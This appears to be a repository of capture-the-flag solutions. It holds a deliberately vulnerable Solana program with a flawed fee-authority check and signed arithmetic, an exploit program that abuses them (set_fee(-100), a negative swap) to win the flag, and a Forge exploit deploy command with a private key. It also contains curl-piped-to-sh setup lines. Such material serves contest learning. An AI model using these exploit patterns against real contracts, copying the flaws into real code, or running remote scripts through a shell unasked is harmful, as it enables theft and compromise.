-------------------------------------------------------------------------------- /cyberapocalypse2023/blockchain_the_art_of_deception/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | forge create Exploit --rpc-url http://165.232.108.36:32765 --private-key 0x100033695f8a68ace2c55adc2590852c66f01dddcfab6a332b9c2439644e84a7 --constructor-args 0x9fb4Bc1943808845285B694CB7EdA40A9925d607 --value 100ether 4 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::Token; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn get_flag(ctx: Context) -> Result<()> { 12 | // let cpi_accounts = chall::cpi::accounts::Init { 13 | // state: ctx.accounts.state.to_account_info(), 14 | // payer: ctx.accounts.payer.to_account_info(), 15 | // system_program: ctx.accounts.system_program.to_account_info(), 16 | // rent: ctx.accounts.rent.to_account_info(), 17 | // }; 18 | // let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 19 | // chall::cpi::init(cpi_ctx)?; 20 | 21 | let cpi_accounts = chall::cpi::accounts::AuthFee { 22 | state: ctx.accounts.state.to_account_info(), 23 | payer: ctx.accounts.payer.to_account_info(), 24 | system_program: ctx.accounts.system_program.to_account_info(), 25 | rent: ctx.accounts.rent.to_account_info(), 26 | }; 27 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 28 | chall::cpi::set_fee(cpi_ctx, -100)?; 29 | 30 | let cpi_accounts = chall::cpi::accounts::Swap { 31 | state: ctx.accounts.state.to_account_info(), 32 | payer: ctx.accounts.payer.to_account_info(), 33 | system_program: ctx.accounts.system_program.to_account_info(), 34 | rent: ctx.accounts.rent.to_account_info(), 35 | }; 36 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 37 | chall::cpi::swap(cpi_ctx, -1_000_000)?; 38 | 39 | Ok(()) 40 | } 41 | } 42 | 43 | #[derive(Accounts)] 44 | pub struct GetFlag<'info> { 45 | #[account(mut)] 46 | pub state: AccountInfo<'info>, 47 | #[account(mut)] 48 | pub payer: Signer<'info>, 49 | 50 | pub system_program: Program<'info, System>, 51 | pub token_program: Program<'info, Token>, 52 | pub rent: Sysvar<'info, Rent>, 53 | pub chall: Program<'info, chall::program::Chall> 54 | } 55 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::FLAG_SEED; 3 | use solana_program::pubkey; 4 | use solana_program::pubkey::Pubkey; 5 | use std::net::TcpStream; 6 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 7 | 8 | fn get_line(reader: &mut BufReader) -> Result> { 9 | let mut line = String::new(); 10 | reader.read_line(&mut line)?; 11 | 12 | let ret = line 13 | .split(':') 14 | .nth(1) 15 | .ok_or("invalid input")? 16 | .trim() 17 | .to_string(); 18 | 19 | Ok(ret) 20 | } 21 | 22 | fn main() -> Result<(), Box> { 23 | let mut stream = TcpStream::connect("127.0.0.1:5555")?; 24 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 25 | 26 | let mut line = String::new(); 27 | 28 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 29 | 30 | reader.read_line(&mut line)?; 31 | writeln!(stream, "{}", solve::ID)?; 32 | reader.read_line(&mut line)?; 33 | writeln!(stream, "{}", so_data.len())?; 34 | stream.write_all(&so_data)?; 35 | 36 | let chall_id = chall::ID; 37 | 38 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | 40 | let ix = solve::instruction::GetFlag {}; 41 | let data = ix.data(); 42 | 43 | let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 44 | let ix_accounts = solve::accounts::GetFlag { 45 | state, 46 | payer: user, 47 | token_program: spl_token::ID, 48 | chall: chall_id, 49 | system_program: solana_program::system_program::ID, 50 | rent: solana_program::sysvar::rent::ID, 51 | }; 52 | 53 | let metas = ix_accounts.to_account_metas(None); 54 | 55 | reader.read_line(&mut line)?; 56 | writeln!(stream, "{}", metas.len())?; 57 | for meta in metas { 58 | let mut meta_str = String::new(); 59 | meta_str.push('m'); 60 | if meta.is_writable { 61 | meta_str.push('w'); 62 | } 63 | if meta.is_signer { 64 | meta_str.push('s'); 65 | } 66 | meta_str.push(' '); 67 | meta_str.push_str(&meta.pubkey.to_string()); 68 | 69 | writeln!(stream, "{}", meta_str)?; 70 | stream.flush()?; 71 | } 72 | 73 | reader.read_line(&mut line)?; 74 | writeln!(stream, "{}", data.len())?; 75 | stream.write_all(&data)?; 76 | 77 | stream.flush()?; 78 | 79 | line.clear(); 80 | while reader.read_line(&mut line)? != 0 { 81 | print!("{}", line); 82 | line.clear(); 83 | } 84 | 85 | Ok(()) 86 | } 87 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | bytemuck = "*" 19 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev tini 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | ENTRYPOINT [ "tini", "-g", "--" ] 18 | CMD [ "./target/release/framework" ] 19 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | borsh = "*" 28 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/programs/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::token::{Mint, Token, TokenAccount, Transfer}; 3 | use anchor_spl::token; 4 | use borsh::{BorshSerialize, BorshDeserialize}; 5 | 6 | pub use anchor_lang; 7 | pub use anchor_spl; 8 | 9 | pub const FLAG_SEED: &[u8] = b"flag"; 10 | 11 | declare_id!("osecio1111111111111111111111111111111111112"); 12 | 13 | type FLAG = bool; 14 | type NUMBER = i64; 15 | #[program] 16 | pub mod chall { 17 | use super::*; 18 | 19 | pub fn init(ctx: Context) -> Result<()> { 20 | let state = &mut ctx.accounts.state.load_init()?; 21 | 22 | state.owner = Some(ctx.accounts.payer.key()); 23 | 24 | Ok(()) 25 | } 26 | 27 | pub fn init_virtual_balance(ctx: Context, x: NUMBER, y: NUMBER) -> Result<()> { 28 | let state = &mut ctx.accounts.state.load_mut()?; 29 | 30 | state.x = x; 31 | state.y = y; 32 | 33 | Ok(()) 34 | } 35 | 36 | pub fn set_enabled(ctx: Context, enabled: FLAG) -> Result<()> { 37 | let state = &mut ctx.accounts.state.load_mut()?; 38 | 39 | state.enabled = enabled; 40 | 41 | Ok(()) 42 | } 43 | 44 | pub fn set_fee_manager(ctx: Context, manager: FeeManager) -> Result<()> { 45 | let state = &mut ctx.accounts.state.load_mut()?; 46 | 47 | state.fee_manager = Some(manager); 48 | 49 | Ok(()) 50 | } 51 | 52 | pub fn set_owner(ctx: Context, owner: Option) -> Result<()> { 53 | let state = &mut ctx.accounts.state.load_mut()?; 54 | 55 | state.owner = owner; 56 | 57 | Ok(()) 58 | } 59 | 60 | pub fn set_fee(ctx: Context, fee: NUMBER) -> Result<()> { 61 | let state = &mut ctx.accounts.state.load_mut()?; 62 | 63 | state.fee = fee; 64 | 65 | Ok(()) 66 | } 67 | 68 | pub fn swap(ctx: Context, amt: NUMBER) -> Result<()> { 69 | let state = &mut ctx.accounts.state.load_mut()?; 70 | 71 | state.x += amt; 72 | state.y += amt; 73 | 74 | state.x += state.fee * state.x / 100; 75 | state.y += state.fee * state.y / 100; 76 | 77 | Ok(()) 78 | } 79 | 80 | } 81 | 82 | #[derive(Accounts)] 83 | pub struct Init<'info> { 84 | #[account( 85 | init, 86 | seeds = [ FLAG_SEED ], 87 | bump, 88 | payer = payer, 89 | space = 1000 90 | )] 91 | pub state: AccountLoader<'info, State>, 92 | 93 | #[account(mut)] 94 | pub payer: Signer<'info>, 95 | pub system_program: Program<'info, System>, 96 | pub rent: Sysvar<'info, Rent>, 97 | } 98 | 99 | #[derive(Accounts)] 100 | pub struct Auth<'info> { 101 | #[account(mut, 102 | constraint = (state.load().unwrap().owner.is_some() && 103 | state.load().unwrap().owner.unwrap() == payer.key() 104 | ) 105 | )] 106 | pub state: AccountLoader<'info, State>, 107 | #[account(mut)] 108 | pub payer: Signer<'info>, 109 | pub system_program: Program<'info, System>, 110 | pub rent: Sysvar<'info, Rent>, 111 | } 112 | 113 | #[derive(Accounts)] 114 | pub struct AuthFee<'info> { 115 | #[account(mut, 116 | constraint = (state.load().unwrap().owner.is_some() && 117 | state.load().unwrap().owner.unwrap() == payer.key() 118 | ) || 119 | (state.load().unwrap().fee_manager.is_some() && ( 120 | state.load().unwrap().fee_manager.unwrap().timestamp < Clock::get()?.unix_timestamp && 121 | ( 122 | state.load().unwrap().fee_manager.unwrap().authority.is_none() || 123 | state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key() 124 | ) 125 | )) 126 | )] 127 | pub state: AccountLoader<'info, State>, 128 | #[account(mut)] 129 | pub payer: Signer<'info>, 130 | pub system_program: Program<'info, System>, 131 | pub rent: Sysvar<'info, Rent>, 132 | } 133 | 134 | #[derive(Accounts)] 135 | pub struct Swap<'info> { 136 | #[account(mut, 137 | constraint = state.load().unwrap().enabled 138 | )] 139 | pub state: AccountLoader<'info, State>, 140 | #[account(mut)] 141 | pub payer: Signer<'info>, 142 | pub system_program: Program<'info, System>, 143 | pub rent: Sysvar<'info, Rent>, 144 | } 145 | 146 | #[account(zero_copy)] 147 | #[derive(BorshSerialize, BorshDeserialize)] 148 | pub struct FeeManager { 149 | timestamp: i64, 150 | authority: Option 151 | } 152 | 153 | #[account(zero_copy)] 154 | pub struct State { 155 | pub fee: NUMBER, 156 | pub x: NUMBER, 157 | pub y: NUMBER, 158 | pub enabled: FLAG, 159 | pub owner: Option, 160 | pub fee_manager: Option 161 | } 162 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | use chall::FLAG_SEED; 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey; 15 | use solana_sdk::pubkey::Pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:8080")?; 25 | 26 | println!("starting server at port 8080!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let valid_pubkey = pubkey!("osecio1111111111111111111111111111111111111"); 47 | 48 | if solve_id != valid_pubkey { 49 | writeln!( 50 | socket, 51 | "bad pubkey, got: {} expected: {}", 52 | solve_id, valid_pubkey 53 | )?; 54 | return Ok(()); 55 | } 56 | 57 | let mut chall = builder.build().await; 58 | 59 | let user_keypair = Keypair::new(); 60 | let user = user_keypair.pubkey(); 61 | 62 | let payer_keypair = &chall.ctx.payer; 63 | let payer = payer_keypair.pubkey(); 64 | 65 | chall 66 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 67 | .await?; 68 | 69 | { 70 | let ix = chall::instruction::Init {}; 71 | let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 72 | let ix_accounts = chall::accounts::Init { 73 | state, 74 | payer, 75 | system_program: solana_program::system_program::ID, 76 | rent: solana_program::sysvar::rent::ID, 77 | }; 78 | chall 79 | .run_ix(Instruction::new_with_bytes( 80 | chall_id, 81 | &ix.data(), 82 | ix_accounts.to_account_metas(None), 83 | )) 84 | .await?; 85 | } 86 | 87 | { 88 | let ix = chall::instruction::InitVirtualBalance { 89 | x: 1_000_000, 90 | y: 1_000_001, 91 | }; 92 | let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 93 | let ix_accounts = chall::accounts::Auth { 94 | state, 95 | payer, 96 | system_program: solana_program::system_program::ID, 97 | rent: solana_program::sysvar::rent::ID, 98 | }; 99 | chall 100 | .run_ix(Instruction::new_with_bytes( 101 | chall_id, 102 | &ix.data(), 103 | ix_accounts.to_account_metas(None), 104 | )) 105 | .await?; 106 | } 107 | 108 | { 109 | let ix = chall::instruction::SetEnabled { enabled: true }; 110 | let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 111 | let ix_accounts = chall::accounts::Auth { 112 | state, 113 | payer, 114 | system_program: solana_program::system_program::ID, 115 | rent: solana_program::sysvar::rent::ID, 116 | }; 117 | chall 118 | .run_ix(Instruction::new_with_bytes( 119 | chall_id, 120 | &ix.data(), 121 | ix_accounts.to_account_metas(None), 122 | )) 123 | .await?; 124 | } 125 | 126 | writeln!(socket, "user: {}", user)?; 127 | 128 | let solve_ix = chall.read_instruction(solve_id)?; 129 | println!("{:?}", solve_ix); 130 | 131 | println!("start"); 132 | chall 133 | .run_ixs_full(&[solve_ix], &[&user_keypair], &user_keypair.pubkey()) 134 | .await?; 135 | println!("end"); 136 | 137 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 138 | 139 | if let Some(acct) = chall.ctx.banks_client.get_account(flag).await? { 140 | let state = bytemuck::from_bytes::( 141 | &acct.data[8..std::mem::size_of::() + 8], 142 | ); 143 | if state.x == 0 && state.y == 0 { 144 | writeln!(socket, "congrats!")?; 145 | if let Ok(flag) = env::var("FLAG") { 146 | writeln!(socket, "flag: {:?}", flag)?; 147 | } else { 148 | writeln!(socket, "flag not found, please contact admin")?; 149 | } 150 | } 151 | } 152 | 153 | Ok(()) 154 | } 155 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /dicectf2023/baby-solana/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- 